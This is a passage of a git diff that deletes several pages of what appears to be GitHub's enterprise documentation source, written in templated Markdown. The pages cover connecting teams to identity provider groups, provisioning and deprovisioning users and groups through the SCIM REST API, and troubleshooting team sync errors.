variables.product.prodname_dotcom %}, you must assign the group to the {% ifversion ghec %}{% data variables.product.prodname_emu_idp_application %}{% else %}relevant{% endif %} application in your IdP. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users). - -You can connect a team in your enterprise to one IdP group. You can assign the same IdP group to multiple teams in your enterprise. - -If you are connecting an existing team to an IdP group, you must first remove any members that were added manually. After you connect a team in your enterprise to an IdP group, your IdP administrator must make team membership changes through the identity provider. You cannot manage team membership directly on {% data variables.product.prodname_dotcom %}. - -If you use Microsoft Entra ID (previously known as Azure AD) as your IdP, you can only connect a team to a security group. Nested group memberships and Microsoft 365 groups are not supported. - -## Creating a new team connected to an IdP group - -Any member of an organization can create a new team and connect the team to an IdP group. - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.new_team %} -{% data reusables.organizations.team_name %} -{% data reusables.organizations.team_description %} -1. To connect a team, under "Identity Provider Groups", select the **Select Groups** dropdown menu and click the team you want to connect. -{% data reusables.organizations.team_visibility %} -{% data reusables.organizations.create_team %} - -## Managing the connection between an existing team and an IdP group - -Organization owners {% ifversion ghes %}and team maintainers {% endif %}can manage the existing connection between an IdP group and a team.{% ifversion ghec %} If your enterprise does not use {% data variables.enterprise.prodname_managed_users %}, team maintainers can also manage the connection.{% endif %} - -> [!NOTE] -> Before you connect an existing team on {% data variables.product.prodname_dotcom %} to an IdP group for the first time, all members of the team on {% data variables.product.prodname_dotcom %} must first be removed. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/removing-organization-members-from-a-team). - -{% data reusables.profile.access_profile %} - -{% data reusables.profile.access_org %} -{% data reusables.organizations.specific_team %} -{% data reusables.organizations.team_settings %} -1. Optionally, under "Identity Provider Group", to the right of the IdP group you want to disconnect, click {% octicon "x" aria-label="X symbol" %}. - ![Unselect a connected IdP group from the GitHub team.](/assets/images/enterprise/github-ae/teams/unselect-idp-group.png) -1. To connect an IdP group, under "Identity Provider Group", select the drop-down menu, and click an identity provider group from the list. - ![Drop-down menu to choose identity provider group.](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png) -1. Click **Save changes**. - -## Viewing IdP groups, group membership, and connected teams - -Enterprise owners can review a list of IdP groups, each group's memberships, and any teams connected to each group. The IdP groups and memberships listed in this view are based on information sent from the IdP to {% data variables.product.prodname_dotcom %} via SCIM. You must edit the membership for a group on your IdP. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.click-identity-provider %} -1. To see the members and teams connected to an IdP group, click the group's name. -1. {% data reusables.enterprise-accounts.groups-tab %} -1. To view the teams connected to the IdP group, click **Teams**. - -If a team cannot sync with the group on your IdP, the team will display an error. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/troubleshooting-team-membership-with-identity-provider-groups). - -## Removing members from organizations - -The way a member is added to an organization owned by your enterprise determines how they must be removed from an organization. - -* **If a member was added to an organization manually, you must remove them manually.** Unassigning them from the {% ifversion ghec %}{% data variables.product.prodname_emu_idp_application %}{% else %}relevant{% endif %} application on your IdP will suspend the user but not remove them from the organization. -* **If a user became an organization member because they were added to IdP groups, remove them from _all_ of the mapped IdP groups** associated with the organization. - -To discover how a member was added to an organization, you can filter the member list by type. See {% ifversion ghec %}[AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#filtering-by-member-type-in-an-enterprise-with-managed-users).{% else %}[AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#filtering-by-member-type).{% endif %} diff --git a/content/admin/managing-iam/provisioning-user-accounts-with-scim/provisioning-users-and-groups-with-scim-using-the-rest-api.md b/content/admin/managing-iam/provisioning-user-accounts-with-scim/provisioning-users-and-groups-with-scim-using-the-rest-api.md deleted file mode 100644 index 47a57d9903b5..000000000000 --- a/content/admin/managing-iam/provisioning-user-accounts-with-scim/provisioning-users-and-groups-with-scim-using-the-rest-api.md +++ /dev/null @@ -1,282 +0,0 @@ ---- -title: Provisioning users and groups with SCIM using the REST API -shortTitle: SCIM using REST API -intro: 'Manage the lifecycle of user accounts from your identity provider using {% data variables.product.company_short %}''s REST API for System for Cross-domain Identity Management (SCIM).' -product: '{% data reusables.gated-features.emus %}' -versions: - ghec: '*' - feature: scim-for-ghes-public-beta -type: tutorial -redirect_from: - - /admin/identity-and-access-management/provisioning-user-accounts-for-enterprise-managed-users/provisioning-users-with-scim-using-the-rest-api - - /admin/identity-and-access-management/provisioning-user-accounts-for-enterprise-managed-users/provisioning-users-and-groups-with-scim-using-the-rest-api - - /admin/managing-iam/provisioning-user-accounts-for-enterprise-managed-users/provisioning-users-and-groups-with-scim-using-the-rest-api -topics: - - Accounts - - Authentication - - Enterprise - - SSO ---- - -{% ifversion ghec %} - -> [!NOTE] {% data reusables.scim.ghec-open-scim-test-in-isolation %} - -{% else %} - -{% data reusables.scim.ghes-beta-note %} - -{% endif %} - -{% ifversion ghec %} - -## About IAM for {% data variables.product.prodname_emus %} - -If your enterprise on {% data variables.product.prodname_dotcom %} is created for {% data variables.product.prodname_emus %}, you must configure an external identity management system to provision and maintain user accounts. Your identity management system must offer the following functionality: - -* Single sign-on authentication implementing one of the following two single sign-on (SSO) standards: - * Security Assertion Markup Language (SAML) 2.0 - * OpenID Connect (OIDC), which is only supported if you use Microsoft Entra ID (previously known as Azure AD) -* User lifecycle management with System for Cross-domain Identity Management (SCIM) - -{% else %} - -## About SCIM provisioning on {% data variables.product.prodname_ghe_server %} - -To provision and maintain user accounts using SCIM, your identity management system must offer the following functionality: - -* Single sign-on authentication implementing Security Assertion Markup Language (SAML) 2.0 -* User lifecycle management with System for Cross-domain Identity Management (SCIM) - -{% endif %} - -When you configure authentication and provisioning for your enterprise, you can either use a partner IdP, or you can use another combination of identity management systems. - -* [Using a partner identity provider](#using-a-partner-identity-provider) -* [Using other identity management systems](#using-other-identity-management-systems) - -### Using a partner identity provider - -Each partner IdP provides a "paved-path" application, which implements both SSO and user lifecycle management. To simplify configuration, {% data variables.product.company_short %} recommends that you use a partner IdP's application for both authentication and provisioning. For more information and a list of partner IdPs, see {% ifversion ghec %}[AUTOTITLE](/admin/identity-and-access-management/understanding-iam-for-enterprises/about-enterprise-managed-users#identity-management-systems).{% else %}[AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/user-provisioning-with-scim-on-ghes#supported-identity-providers).{% endif %} - -For more information about configuring SCIM provisioning using a partner IdP, see [AUTOTITLE](/admin/identity-and-access-management/provisioning-user-accounts-for-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users). - -### Using other identity management systems - -If you cannot use a partner IdP for both authentication and provisioning due to migration overhead, licensing costs, or organizational inertia, you can use another identity management system or combination of systems. The systems must provide authentication using SAML and user lifecycle management using SCIM, and must adhere to {% data variables.product.company_short %}'s integration guidelines. - -{% data variables.product.company_short %} has not tested integration with every identity management system. While integration with {% ifversion ghec %}{% data variables.product.prodname_emus %}{% else %}{% data variables.product.prodname_ghe_server %}{% endif %} may be possible, {% data variables.product.company_short %}'s support team may not be able to assist you with issues related to these systems. If you need help with an identity management system that's not a partner IdP, or if you use a partner IdP only for SAML authentication, you must consult the system's documentation, support team, or other resources. - -## Prerequisites - -{%- ifversion ghec %} -* {% data reusables.enterprise-managed.emu-prerequisite %} -* {% data reusables.scim.emu-prerequisite-authentication %} -* You must enable an open SCIM configuration for your enterprise. For more information, see [AUTOTITLE](/admin/identity-and-access-management/provisioning-user-accounts-for-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users#configuring-provisioning-for-other-identity-management-systems). -* To authenticate requests to the REST API endpoints for SCIM, you must use a {% data variables.product.pat_v1 %} associated with your enterprise's setup user. The token requires the **scim:enterprise** scope. {% data variables.product.company_short %} recommends that you do not configure an expiration date for the token. See [AUTOTITLE](/admin/managing-iam/understanding-iam-for-enterprises/getting-started-with-enterprise-managed-users#create-a-personal-access-token). -{%- else %} -To implement SCIM using the REST API, the general prerequisites for using SCIM on {% data variables.product.prodname_ghe_server %} apply. See the "Prerequisites" section in [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-scim-provisioning-for-users#prerequisites). - -In addition, the following prerequisites apply: - -* You must have completed steps 1 to 3 in [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-scim-provisioning-for-users). - * You must use the {% data variables.product.pat_v1 %} created for the built-in setup user to authenticate requests to the REST API. -{%- endif %} -{% data reusables.scim.scim-standard-prerequisite %} -* The user records for the systems that you use for authentication and provisioning must share a unique identifier and satisfy {% data variables.product.company_short %}'s matching criteria. For more information, see [AUTOTITLE](/rest/enterprise-admin/scim#mapping-of-saml-and-scim-data) in the REST API documentation. - -## Best practices for SCIM provisioning with {% data variables.product.github %}'s REST API - -When you configure your identity management system to provision users or groups of users on {% data variables.product.github %}, {% data variables.product.company_short %} strongly recommends that you adhere to the following guidelines. - -* [Ensure your identity management system is the only source of write operations](#ensure-your-identity-management-system-is-the-only-source-of-write-operations) -* [Send valid requests to REST API endpoints](#send-valid-requests-to-rest-api-endpoints) -* [Provision users before you provision groups](#provision-users-before-you-provision-groups) -* [Validate access for groups on {% data variables.product.prodname_dotcom %}](#validate-access-for-groups-on-github) -* [Understand rate limits on {% data variables.product.prodname_dotcom %}](#understand-rate-limits-on-github) -* [Configure audit log streaming](#configure-audit-log-streaming) -{%- ifversion scim-enterprise-scope %} -* [Limit the scope of the SCIM token](#limit-the-scope-of-the-scim-token) -{%- endif %} - -### Ensure your identity management system is the only source of write operations - -To ensure that your environment has a single source of truth, you should only programmatically write to the REST API for SCIM provisioning from your identity management system. {% data variables.product.company_short %} strongly recommends that only one system sends `POST`, `PUT`, `PATCH`, or `DELETE` requests to the API. - -However, you can safely retrieve information from {% data variables.product.company_short %}'s APIs with `GET` requests in scripts or ad hoc requests by an enterprise owner. - -> [!WARNING] -> If you use a partner IdP for SCIM provisioning, the application on the IdP must be the only system that makes write requests to the API. If you make ad hoc requests using the `POST`, `PUT`, `PATCH`, or `DELETE` methods, subsequent synchronization attempts will fail, and provisioning won't function properly for your enterprise. - -### Send valid requests to REST API endpoints - -{% data variables.product.prodname_dotcom %}'s REST API endpoints for provisioning users with SCIM require well-formed requests. Bear in mind the following guidelines: - -* Requests that don't match the API's expectations will return a `400 Bad Request` error. -* REST API endpoints for provisioning users with SCIM require a `User-Agent` header. {% data variables.product.github %} will reject requests without this header. -{%- ifversion ghec %} -* If your enterprise is on {% data variables.enterprise.data_residency_site %}, ensure you send API requests to the endpoint for your enterprise at `{% data variables.enterprise.data_residency_api %}`. -{%- endif %} - -### Provision users before you provision groups - -SCIM groups are effective for the management of user access at scale. For example, you can use groups on your identity management system to manage team and organization membership on {% data variables.product.github %}. - -To manage team membership with groups on your identity management system, you must sequentially complete the following steps: - -1. Provision user accounts on {% data variables.product.github %}. -1. Provision a group on {% data variables.product.github %}. -1. Update the membership of the group on your identity management system. -1. Create a team on {% data variables.product.github %} that's mapped to the group on your identity management system. - -### Validate access for groups on {% data variables.product.github %} - -If you manage access using groups on your identity management system, you can validate that users get the access you intend. You can use the REST API to compare your system's group memberships with {% data variables.product.prodname_dotcom %}'s understanding of those groups. For more information, see [AUTOTITLE](/rest/teams/external-groups#about-external-groups) and [AUTOTITLE](/rest/teams/teams#get-a-team-by-name) in the REST API documentation. - -### Understand rate limits on {% data variables.product.prodname_dotcom %} - -{% ifversion ghec %} -To ensure the availability and reliability of the platform, {% data variables.product.company_short %} implements rate limits. - -Without considering rate limits, large enterprises onboarding with {% data variables.product.prodname_emus %} for the first time are likely to exceed the limits. {% data reusables.scim.emu-scim-rate-limit-details %} -{% else %} -If a site administrator has enabled rate limits on your instance, you may encounter errors when you provision users for the first time. You can review your IdP logs to confirm if attempted SCIM provisioning or push operations failed due to a rate limit error. The response to a failed provisioning attempt will depend on the IdP. -{% endif %} - -For more information, see [AUTOTITLE](/rest/using-the-rest-api/rate-limits-for-the-rest-api). - -### Configure audit log streaming - -The audit log for your enterprise displays details about activity in your enterprise. You can use the audit log to support your configuration of SCIM. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise). - -Due to the volume of events in this log, {% data variables.product.company_short %} retains the data for 180 days. To ensure that you don't lose audit log data, and to view more granular activity in the audit log, {% data variables.product.company_short %} recommends that you configure audit log streaming. When you stream the audit log, you can optionally choose to stream events for API requests, including requests to REST API endpoints for SCIM provisioning. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise). - -{% ifversion scim-enterprise-scope %} - -### Limit the scope of the SCIM token - -For a better security posture, we recommend using a {% data variables.product.pat_v1 %} with only the `scim:enterprise` scope to limit the token's access to the REST API endpoints required to make SCIM calls. - -If you currently use a token with the `admin:enterprise` scope, be aware that this token grants access to all actions on the enterprise. You can swap your token for a new token with just the `scim:enterprise` scope without disruption. - -{% endif %} - -## Provisioning users with the REST API - -To provision, list, or manage users, make requests to the following REST API endpoints. You can read about the associated API endpoints in the REST API documentation and see code examples, and you can review audit log events associated with each request. - -Before a person with an identity on your identity management system can sign in to your enterprise, you must create the corresponding user. Your enterprise doesn't require an available license to provision a new user account. - -* For an overview of the supported attributes for users, see [SCIM](/rest/enterprise-admin/scim#supported-scim-user-attributes) in the REST API documentation. -* You can view provisioned users in the {% data variables.product.github %} UI. For more information, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/viewing-people-in-your-enterprise). - -| Action | Method | Endpoint and more information | Events in the audit log | -| :- | :- | :- | :- | -| List all provisioned users for your enterprise, which includes all users who are soft-deprovisioned by setting `active` to `false`. | `GET` | [`/scim/v2/{% ifversion ghec %}enterprises/{enterprise}/{% endif %}Users`](/rest/enterprise-admin/scim#list-scim-provisioned-identities-for-an-enterprise) | N/A | -| Create a user. The API's response includes an `id` field for uniquely identifying the user. | `POST` | [`/scim/v2/{% ifversion ghec %}enterprises/{enterprise}/{% endif %}Users`](/rest/enterprise-admin/scim#provision-a-scim-enterprise-user) | <ul><li>`external_identity.provision`</li><li>`user.create`</li><li>If request adds the `enterprise_owner` role, `business.add_admin`</li><li>If request adds the `billing_manager` role, `business.add_billing_manager`</li><li>If request succeeds, `external_identity.scim_api_success`</li><li>If request fails, `external_identity.scim_api_failure`</li></ul> | -| Retrieve an existing user in your enterprise using the `id` field from the `POST` request that you sent to create the user. | `GET` | [`/scim/v2/{% ifversion ghec %}enterprises/{enterprise}/{% endif %}Users/{scim_user_id}`](/rest/enterprise-admin/scim#get-scim-provisioning-information-for-an-enterprise-user) | N/A | -| Update all of an existing user's attributes using the `id` field from the `POST` request that you sent to create the user. Update `active` to `false` to soft-deprovision the user, or `true` to reactivate the user. {% data reusables.scim.public-scim-more-info-about-deprovisioning-and-reactivating %} | `PUT` | [`/scim/v2/{% ifversion ghec %}enterprises/{enterprise}/{% endif %}Users/{scim_user_id}`](/rest/enterprise-admin/scim#set-scim-information-for-a-provisioned-enterprise-user) | {% data reusables.scim.public-scim-put-or-patch-user-audit-log-events %} | -| Update an individual attribute for an existing user using the `id` field from the `POST` request that you sent to create the user. Update `active` to `false` to soft-deprovision the user, or `true` to reactivate the user. {% data reusables.scim.public-scim-more-info-about-deprovisioning-and-reactivating %} | `PATCH` | [`/scim/v2/{% ifversion ghec %}enterprises/{enterprise}/{% endif %}Users/{scim_user_id}`](/rest/enterprise-admin/scim#update-an-attribute-for-a-scim-enterprise-user) | {% data reusables.scim.public-scim-put-or-patch-user-audit-log-events %} | -| To completely delete an existing user, you can hard-deprovision the user. After hard-deprovisioning, you cannot reactivate the user, and you must provision the user as a new user. For more information, see [Hard-deprovisioning users with the REST API](#hard-deprovisioning-users-with-the-rest-api). | `DELETE` | [`/scim/v2/{% ifversion ghec %}enterprises/{enterprise}/{% endif %}Users/{scim_user_id}`](/rest/enterprise-admin/scim#delete-a-scim-user-from-an-enterprise) | <ul><li>`external_identity.deprovision`</li><li>`user.remove_email`</li><li>If request succeeds, `external_identity.scim_api_success`</li><li>If request fails, `external_identity.scim_api_failure`</li></ul> | - -## Soft-deprovisioning users with the REST API - -To prevent a user from signing in to access your enterprise, you can soft-deprovision the user by sending a `PUT` or `PATCH` request to update a user's `active` field to `false` to `/scim/v2/{% ifversion ghec %}enterprises/{enterprise}/{% endif %}Users/{scim_user_id}`. When you soft-deprovision a user, {% data variables.product.github %} obfuscates the user record's `login` and `email` fields, and the user is suspended. - -When you soft-deprovision a user, the `external_identity.update` event does not appear in the audit log. The following events appear in the audit log: - -* `user.suspend` -* `user.remove_email` -* `user.rename` -* `external_identity.deprovision` -* If the request succeeds, `external_identity.scim_api_success` -* If the request fails, `external_identity.scim_api_failure` - -You can view all suspended users for your enterprise. For more information, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#viewing-suspended-members). - -## Reactivating users with the REST API - -To allow a soft-deprovisioned user to sign in to access your enterprise, unsuspend the user by sending a `PUT` or `PATCH` request to `/scim/v2/{% ifversion ghec %}enterprises/{enterprise}/{% endif %}Users/{scim_user_id}` that updates the user's `active` field to `true`. - -When you reactivate a user, the `external_identity.update` event does not appear in the audit log. The following events appear in the audit log: - -* `user.unsuspend` -* `user.remove_email` -* `user.rename` -* `external_identity.provision` -* If the request succeeds, `external_identity.scim_api_success` -* If the request fails, `external_identity.scim_api_failure` - -## Hard-deprovisioning users with the REST API - -To completely delete a user, you can hard-deprovision the user by sending a `DELETE` request to `/scim/v2/{% ifversion ghec %}enterprises/{enterprise}/{% endif %}Users/{scim_user_id}`. Your enterprise will retain any resources and comments created by the user. - -When you hard-deprovision a user, the following events occur: - -* The user record's `login` and `email` fields are obfuscated. -* The user's display name is set to an empty string. -* {% data variables.product.github %} deletes all of the user's SCIM attributes, emails, SSH keys, {% data variables.product.pat_generic_plural %}, and GPG keys. -* The user's account on {% data variables.product.github %} is suspended, and authentication to sign in to the account will fail. - -To reprovision the user, you must use the `POST` method to create a new user. The new user can reuse the deprovisioned user's `login`. If the email addresses of the hard-deprovisioned user and the new user match, {% data variables.product.github %} will attribute existing Git commits associated with the email address to the new user. Existing resources and comments created by the original user will not be associated with the new user. - -## Provisioning groups with the REST API - -To control access to repositories in your enterprise, you can use groups on your identity management system to control organization and team membership for users in your enterprise. You can read about the associated API endpoints in the REST API documentation and see code examples, and you can review audit log events associated with each request. - -While your enterprise doesn't require an available license to provision a new user account, if you provision a group that results in the addition of users to an organization, you must have available licenses for those users.{% ifversion ghec %} If your enterprise only uses {% data variables.visual_studio.prodname_vss_ghe %}, the associated user must be assigned to a subscriber. For more information, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise#about-licenses-for-visual-studio-subscriptions-with-github-enterprise).{% endif %} - -* For an overview of the supported attributes for groups, see [SCIM](/rest/enterprise-admin/scim#supported-scim-group-attributes) in the REST API documentation. -* For an overview of audit log events related to groups, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#external_group). -* You can view provisioned groups in the {% data variables.product.github %} UI. For more information, see [AUTOTITLE](/admin/identity-and-access-management/provisioning-user-accounts-for-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups#viewing-idp-groups-group-membership-and-connected-teams). - -| Action | Method | Endpoint and more information | Related events in the audit log | -| :- | :- | :- | :- | -| List all groups defined for your enterprise. | `GET` | [`/scim/v2/{% ifversion ghec %}enterprises/{enterprise}/{% endif %}Groups`](/rest/enterprise-admin/scim#list-provisioned-scim-groups-for-an-enterprise) | N/A | -| To define a new IdP group for your enterprise, create the group. The API's response includes an `id` field for uniquely identifying the group. | `POST` | [`/scim/v2/{% ifversion ghec %}enterprises/{enterprise}/{% endif %}Groups`](/rest/enterprise-admin/scim#provision-a-scim-enterprise-group) | <ul><li>`external_group.provision`</li><li>`external_group.update_display_name`</li><li>If the request included a list of users, `external_group.add_member`</li><li>If request succeeds, `external_group.scim_api_success`</li><li>If request fails, `external_group.scim_api_failure`</li></ul> | -| Retrieve an existing group for your enterprise using the `id` from the `POST` request that you sent to create the group. | `GET` | [`/scim/v2/{% ifversion ghec %}enterprises/{enterprise}/{% endif %}Groups/{scim_group_id}`](/rest/enterprise-admin/scim#get-scim-provisioning-information-for-an-enterprise-group) | N/A | -| Update all of the attributes for an existing group. | `PUT` | [`/scim/v2/{% ifversion ghec %}enterprises/{enterprise}/{% endif %}Groups/{scim_group_id}`](/rest/enterprise-admin/scim#set-scim-information-for-a-provisioned-enterprise-group) | {% data reusables.scim.public-scim-put-or-patch-group-audit-log-events %} | -| Update an individual attribute for an existing group. | `PATCH` | [`/scim/v2/{% ifversion ghec %}enterprises/{enterprise}/{% endif %}Groups/{scim_group_id}`](/rest/enterprise-admin/scim#update-an-attribute-for-a-scim-enterprise-group) | {% data reusables.scim.public-scim-put-or-patch-group-audit-log-events %} | -| Completely delete an existing group. | `DELETE` | [`/scim/v2/{% ifversion ghec %}enterprises/{enterprise}/{% endif %}Groups/{scim_group_id}`](/rest/enterprise-admin/scim#delete-a-scim-group-from-an-enterprise) | <ul><li>`external_group.delete`</li><li>If the request deletes a group linked to a team in an organization where the user has no other team membership, `org.remove_member`</li><li>If the request deletes a group linked to a team in an organization where the user has other team membership, `team.remove_member`</li><li>If request succeeds, `external_group.scim_api_success`</li><li>If request fails, `external_group.scim_api_failure`</li></ul> | - -### Additional audit log events for changes to IdP groups - -If you update the members of an existing group using a `PUT` or `PATCH` request to `/scim/v2/{% ifversion ghec %}enterprises/{enterprise}/{% endif %}Groups/{scim_group_id}`, {% data variables.product.github %} may add the user to the organization or remove the user from the organization depending on the user's current organization membership. If the user is already a member of at least one team in the organization, the user is a member of the organization. If the user is not a member of any teams in the organization, the user may also not already be a member of the organization. - -If your request updates a group linked to a team in an organization where a user is not already a member, in addition to `external_group.update`, the following events appear in the audit log: - -* `org.add_member` -* If the request adds a user to a group that's linked to a team in an organization where the user is not already a member, `org.add_member` -* If the request adds the user to a group that's linked to a team in an organization, `team.add_member` - -If your request updates a group linked to a team in an organization where a user is already a member, in addition to `external_group.update`, the following events appear in the audit log: - -* If the request removes the user from a group that's linked to a team in an organization, and the team is not the last team in the organization where the user is a member, `team.remove_member` -* If the request removes a user from a group that's linked to the last team in an organization where the user is already a member, `org.remove_member` - -{% ifversion ghec %} - -## Migrating to a new SCIM provider - -After you configure SCIM provisioning for your enterprise, you may need to migrate to a new SCIM provider. For more information, see [AUTOTITLE](/admin/identity-and-access-management/reconfiguring-iam-for-enterprise-managed-users/migrating-your-enterprise-to-a-new-identity-provider-or-tenant). - -{% endif %} - -## Troubleshooting SCIM provisioning - -* If your requests to the REST API are rate-limited, you can learn more in [Understand rate limits on {% data variables.product.prodname_dotcom %}](#understand-rate-limits-on-github). - -* If you enable audit log streaming and stream events for API requests, you can review any requests to the REST API endpoints for SCIM provisioning by filtering for events from the `EnterpriseUsersScim` or `EnterpriseGroupsScim` controllers. - -* If a SCIM request fails and you're unable to determine the cause, check the status of your identity management system to ensure that services were available.{% ifversion ghec %} Additionally, check {% data variables.product.company_short %}'s status page. For more information, see [AUTOTITLE](/support/learning-about-github-support/about-github-support#about-github-status).{% endif %} - -* If a request to provision a user fails with a `400` error, and the error message in your identity management system's log indicates issues with account ownership or username formatting, review [AUTOTITLE](/admin/identity-and-access-management/iam-configuration-reference/username-considerations-for-external-authentication). - -* After successful authentication, {% data variables.product.github %} links the user who authenticated to an identity provisioned by SCIM. The unique identifiers for authentication and provisioning must match. For more information, see [AUTOTITLE](/rest/enterprise-admin/scim#mapping-of-saml-and-scim-data).{% ifversion ghec %} You can also view this mapping on {% data variables.product.github %}. See [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise#viewing-and-revoking-a-linked-identity).{% endif %} - -* If you manage access using groups on your identity management system, you can troubleshoot using the REST API or web UI for {% data variables.product.github %}. - - * You can use the REST API to compare your identity management system's group memberships with {% data variables.product.prodname_dotcom %}'s understanding of those groups. See [AUTOTITLE](/rest/teams/external-groups#about-external-groups) and [AUTOTITLE](/rest/teams/teams#get-a-team-by-name). - * For more information about troubleshooting using the web UI, see [AUTOTITLE](/admin/identity-and-access-management/provisioning-user-accounts-for-enterprise-managed-users/troubleshooting-team-membership-with-identity-provider-groups). - -For additional troubleshooting suggestions, see [AUTOTITLE](/admin/identity-and-access-management/understanding-iam-for-enterprises/troubleshooting-identity-and-access-management-for-your-enterprise#scim-provisioning-errors). diff --git a/content/admin/managing-iam/provisioning-user-accounts-with-scim/troubleshooting-team-membership-with-identity-provider-groups.md b/content/admin/managing-iam/provisioning-user-accounts-with-scim/troubleshooting-team-membership-with-identity-provider-groups.md deleted file mode 100644 index 2269af9c1f37..000000000000 --- a/content/admin/managing-iam/provisioning-user-accounts-with-scim/troubleshooting-team-membership-with-identity-provider-groups.md +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Troubleshooting team membership with identity provider groups -shortTitle: Troubleshoot team membership with IdP -intro: 'If you manage team membership using groups on your identity provider (IdP), but team membership is not in sync, you can troubleshoot the problem.' -product: '{% data reusables.gated-features.emus %}' -versions: - ghec: '*' - feature: scim-for-ghes-public-beta -type: how_to -topics: - - Accounts - - Enterprise - - Teams - - Troubleshooting -redirect_from: - - /admin/identity-and-access-management/using-enterprise-managed-users-for-iam/troubleshooting-team-membership-with-identity-provider-groups - - /admin/identity-and-access-management/provisioning-user-accounts-for-enterprise-managed-users/troubleshooting-team-membership-with-identity-provider-groups - - /admin/managing-iam/provisioning-user-accounts-for-enterprise-managed-users/troubleshooting-team-membership-with-identity-provider-groups ---- - -{% data reusables.scim.ghes-beta-note %} - -## About management of team membership with IdP groups - -{% data reusables.emus.about-team-management-with-idp %} You can review a list of teams that you've synchronized to IdP groups from your enterprise's settings. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups#viewing-idp-groups-group-membership-and-connected-teams). - -If {% data variables.product.prodname_dotcom %} is unable to synchronize team membership with a group on your IdP, you can view an error message and troubleshoot the problem. - -## Viewing errors for team synchronization with an IdP group - -{% data reusables.enterprise-accounts.access-enterprise %} -1. In the list of enterprises, click the enterprise you want to view. -{% data reusables.enterprise-accounts.click-identity-provider %} -1. Under **Identity provider**, click **Groups**. -1. If synchronization for a group is experiencing problems, you'll see a message that reads "Some groups are failing to synchronize to teams. Check that you have available licenses." -1. In the list of IdP groups, click the group you'd like to review. -1. To review the synchronization error for the group, under the name of the group, click **Teams**. - - If a team is unable to sync membership with a group on your IdP, you'll see a description of the problem under the team's name and membership count. - -{% ifversion ghec %} - -### Error: "Out of sync due to insufficient licenses" - -If your enterprise does not have sufficient licenses and {% data variables.product.prodname_dotcom %} is unable to synchronize team membership with a group on your IdP, you'll see a message that reads "Out of sync due to insufficient licenses". - -![Screenshot of the IdP group page. A warning that a team is out of sync due to insufficient licenses is outlined in dark orange.](/assets/images/help/enterprises/emu-group-team-not-synced-missing-licenses.png) - -The team may be missing members because your enterprise does not have sufficient licenses available. {% data variables.product.prodname_dotcom %} is unable to synchronize the team's membership with a group on your IdP, and any unlicensed user cannot be added to an organization. - -1. Review the available licenses for your enterprise. For more information, see [AUTOTITLE](/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise). -1. To resolve the problem, choose one of the following solutions. - - * Remove users from the IdP group. - * Deprovision users from your enterprise. - * Purchase additional licenses to allow synchronization to complete. For more information, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/about-per-user-pricing#about-changes-to-your-subscription). - -{% endif %} - -### Error: "Out of sync" - -If synchronization of team membership with a group on your IdP fails due to a problem other than licensing, you'll see a message that reads "Out of sync". - -![Screenshot of the IdP group page. A warning that a team is out of sync is outlined in dark orange.](/assets/images/help/enterprises/emu-group-team-not-synced-generic.png) - -{% data variables.product.prodname_dotcom %} will try to resolve this problem automatically during the next sync, which occurs at least once daily. You may be able to resolve the problem by unlinking the impacted team from the IdP group and then linking it to the same group again. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups#managing-the-connection-between-an-existing-team-and-an-idp-group). - -If the problem persists, contact {% data variables.contact.contact_ent_support %} and provide details about the organization, team, and the IdP group you're experiencing problems with. diff --git a/content/admin/managing-iam/provisioning-user-accounts-with-scim/user-provisioning-with-scim-on-ghes.md b/content/admin/managing-iam/provisioning-user-accounts-with-scim/user-provisioning-with-scim-on-ghes.md deleted file mode 100644 index 5e6795b0283d..000000000000 --- a/content/admin/managing-iam/provisioning-user-accounts-with-scim/user-provisioning-with-scim-on-ghes.md +++ /dev/null @@ -1,164 +0,0 @@ ---- -title: '{% ifversion scim-for-ghes-public-beta %}About{% else %}Configuring{% endif %} user provisioning with SCIM on GitHub Enterprise Server' -shortTitle: '{% ifversion scim-for-ghes-public-beta %}About SCIM provisioning{% else %}Configure SCIM user provisioning{% endif %}' -intro: '{% ifversion scim-for-ghes-public-beta %}Learn about{% else %}Get started with{% endif %} managing the lifecycle of user accounts with SCIM on {% data variables.location.product_location %}.' -permissions: '{% ifversion scim-for-ghes-public-beta %}{% else %}Site administrators{% endif %}' -versions: - ghes: '*' -allowTitleToDifferFromFilename: true -type: how_to -topics: - - Accounts - - Authentication - - Enterprise - - Identity - - SSO -redirect_from: - - 